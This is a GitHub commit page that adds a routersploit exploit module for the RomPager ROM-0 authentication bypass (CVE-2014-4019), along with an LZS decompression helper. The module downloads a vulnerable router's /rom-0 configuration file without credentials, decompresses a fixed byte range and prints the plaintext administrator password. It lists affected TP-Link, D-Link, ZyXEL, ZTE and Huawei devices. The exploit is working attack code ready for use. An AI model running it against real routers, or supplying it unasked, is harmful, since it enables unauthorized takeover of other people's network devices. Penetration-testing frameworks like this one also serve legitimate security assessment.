forked from threat9/routersploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request threat9#150 from 0BuRner/multi-rom0
RomPager rom-0 admin password disclosure exploit
- Loading branch information
Showing
2 changed files
with
249 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
import io | ||
import re | ||
|
||
from routersploit import ( | ||
exploits, | ||
print_status, | ||
print_error, | ||
print_success, | ||
http_request, | ||
mute, | ||
validators, | ||
) | ||
from routersploit.utils import lzs | ||
|
||
|
||
class Exploit(exploits.Exploit): | ||
""" | ||
Exploit implementation for RomPager ROM-0 authentication bypass vulnerability. | ||
If the target is vulnerable it allows to download rom file and extract plaintext password. | ||
""" | ||
__info__ = { | ||
'name': 'RomPager ROM-0', | ||
'description': 'Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading rom file and extract password without credentials.', | ||
'authors': [ | ||
'0BuRner', # routersploit module | ||
], | ||
'references': [ | ||
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019', | ||
'http://www.osvdb.org/show/osvdb/102668', | ||
'https://dariusfreamon.wordpress.com/tag/rompager/', | ||
'http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/', | ||
'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf', | ||
], | ||
'devices': [ | ||
'AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)', | ||
'D-Link DSL-2520U (1.08 Hardware Version: B1)', | ||
'D-Link DSL-2640R', | ||
'D-Link DSL-2740R (EU_1.13 Hardware Version: A1)', | ||
'Huawei 520 HG', | ||
'Huawei 530 TRA', | ||
'Pentagram Cerberus P 6331-42', | ||
'TP-Link TD-8816', | ||
'TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)', | ||
'TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)' | ||
'TP-Link TD-W8901G', | ||
'TP-Link TD-W8951ND', | ||
'TP-Link TD-W8961ND', | ||
'ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)', | ||
'ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)' | ||
'ZynOS', | ||
'ZyXEL ES-2024', | ||
'ZyXEL Prestige P-2602HW', | ||
'ZyXEL Prestige 782R', | ||
], | ||
} | ||
|
||
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address | ||
port = exploits.Option(80, 'Target port') # default port | ||
|
||
def run(self): | ||
if self.check(): | ||
print_success("Target is vulnerable") | ||
|
||
print_status("Downloading rom-0 file...") | ||
url = "{}:{}/rom-0".format(self.target, self.port) | ||
response = http_request(method="GET", url=url) | ||
response.raise_for_status() | ||
with io.BytesIO(response.content) as f: | ||
print_status("Extracting password from file...") | ||
password = self.extract_password(f) | ||
print_success("Router password is: {}".format(password)) | ||
else: | ||
print_error("Target is not vulnerable") | ||
|
||
@staticmethod | ||
def extract_password(fhandle): | ||
fpos = 8568 | ||
fend = 8788 | ||
chunk = "*" | ||
amount = 221 | ||
|
||
fhandle.seek(fpos) | ||
while fpos < fend: | ||
if fend - fpos < amount: | ||
amount = fend - fpos | ||
chunk = fhandle.read(amount) | ||
fpos += len(chunk) | ||
|
||
# Decompress chunk | ||
result, window = lzs.LZSDecompress(chunk) | ||
print_status('Decompressed chunk: {0}'.format(result)) | ||
|
||
# Extract plaintext password | ||
res = re.findall(b'([\040-\176]{5,})', result) | ||
|
||
return res[0] | ||
|
||
@mute | ||
def check(self): | ||
url = "{}:{}/rom-0".format(self.target, self.port) | ||
response = http_request(method="HEAD", url=url) | ||
|
||
if response is None: | ||
response = http_request(method="GET", url=url) | ||
|
||
if response is not None and response.status_code == 200: | ||
return True | ||
|
||
return False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
# !/usr/bin/env python | ||
# -*- coding:utf-8 -*- | ||
|
||
############################################################## | ||
# Lempel-Ziv-Stac decompression | ||
# BitReader and RingList classes | ||
# | ||
# Copyright (C) 2011 Filippo Valsorda - FiloSottile | ||
# filosottile.wiki gmail.com - www.pytux.it | ||
# | ||
# This program is free software: you can redistribute it and/or modify | ||
# it under the terms of the GNU General Public License as published by | ||
# the Free Software Foundation, either version 3 of the License, or | ||
# (at your option) any later version. | ||
# | ||
# This program is distributed in the hope that it will be useful, | ||
# but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
# GNU General Public License for more details. | ||
# | ||
# You should have received a copy of the GNU General Public License | ||
# along with this program. If not, see <http://www.gnu.org/licenses/>. | ||
# | ||
############################################################## | ||
|
||
import collections | ||
|
||
|
||
class BitReader: | ||
""" | ||
Gets a string or a iterable of chars (also mmap) | ||
representing bytes (ord) and permits to extract | ||
bits one by one like a stream | ||
""" | ||
|
||
def __init__(self, bytes): | ||
self._bits = collections.deque() | ||
|
||
for byte in bytes: | ||
byte = ord(byte) | ||
for n in xrange(8): | ||
self._bits.append(bool((byte >> (7 - n)) & 1)) | ||
|
||
def getBit(self): | ||
return self._bits.popleft() | ||
|
||
def getBits(self, num): | ||
res = 0 | ||
for i in xrange(num): | ||
res += self.getBit() << num - 1 - i | ||
return res | ||
|
||
def getByte(self): | ||
return self.getBits(8) | ||
|
||
def __len__(self): | ||
return len(self._bits) | ||
|
||
|
||
class RingList: | ||
""" | ||
When the list is full, for every item appended | ||
the older is removed | ||
""" | ||
|
||
def __init__(self, length): | ||
self.__data__ = collections.deque() | ||
self.__full__ = False | ||
self.__max__ = length | ||
|
||
def append(self, x): | ||
if self.__full__: | ||
self.__data__.popleft() | ||
self.__data__.append(x) | ||
if self.size() == self.__max__: | ||
self.__full__ = True | ||
|
||
def get(self): | ||
return self.__data__ | ||
|
||
def size(self): | ||
return len(self.__data__) | ||
|
||
def maxsize(self): | ||
return self.__max__ | ||
|
||
def __getitem__(self, n): | ||
if n >= self.size(): | ||
return None | ||
return self.__data__[n] | ||
|
||
|
||
def LZSDecompress(data, window=RingList(2048)): | ||
""" | ||
Gets a string or a iterable of chars (also mmap) | ||
representing bytes (ord) and an optional | ||
pre-populated dictionary; return the decompressed | ||
string and the final dictionary | ||
""" | ||
reader = BitReader(data) | ||
result = '' | ||
|
||
while True: | ||
bit = reader.getBit() | ||
if not bit: | ||
char = reader.getByte() | ||
result += chr(char) | ||
window.append(char) | ||
else: | ||
bit = reader.getBit() | ||
if bit: | ||
offset = reader.getBits(7) | ||
if offset == 0: | ||
# EOF | ||
break | ||
else: | ||
offset = reader.getBits(11) | ||
|
||
lenField = reader.getBits(2) | ||
if lenField < 3: | ||
lenght = lenField + 2 | ||
else: | ||
lenField <<= 2 | ||
lenField += reader.getBits(2) | ||
if lenField < 15: | ||
lenght = (lenField & 0x0f) + 5 | ||
else: | ||
lenCounter = 0 | ||
lenField = reader.getBits(4) | ||
while lenField == 15: | ||
lenField = reader.getBits(4) | ||
lenCounter += 1 | ||
lenght = 15 * lenCounter + 8 + lenField | ||
|
||
for i in xrange(lenght): | ||
char = window[-offset] | ||
result += chr(char) | ||
window.append(char) | ||
|
||
return result, window |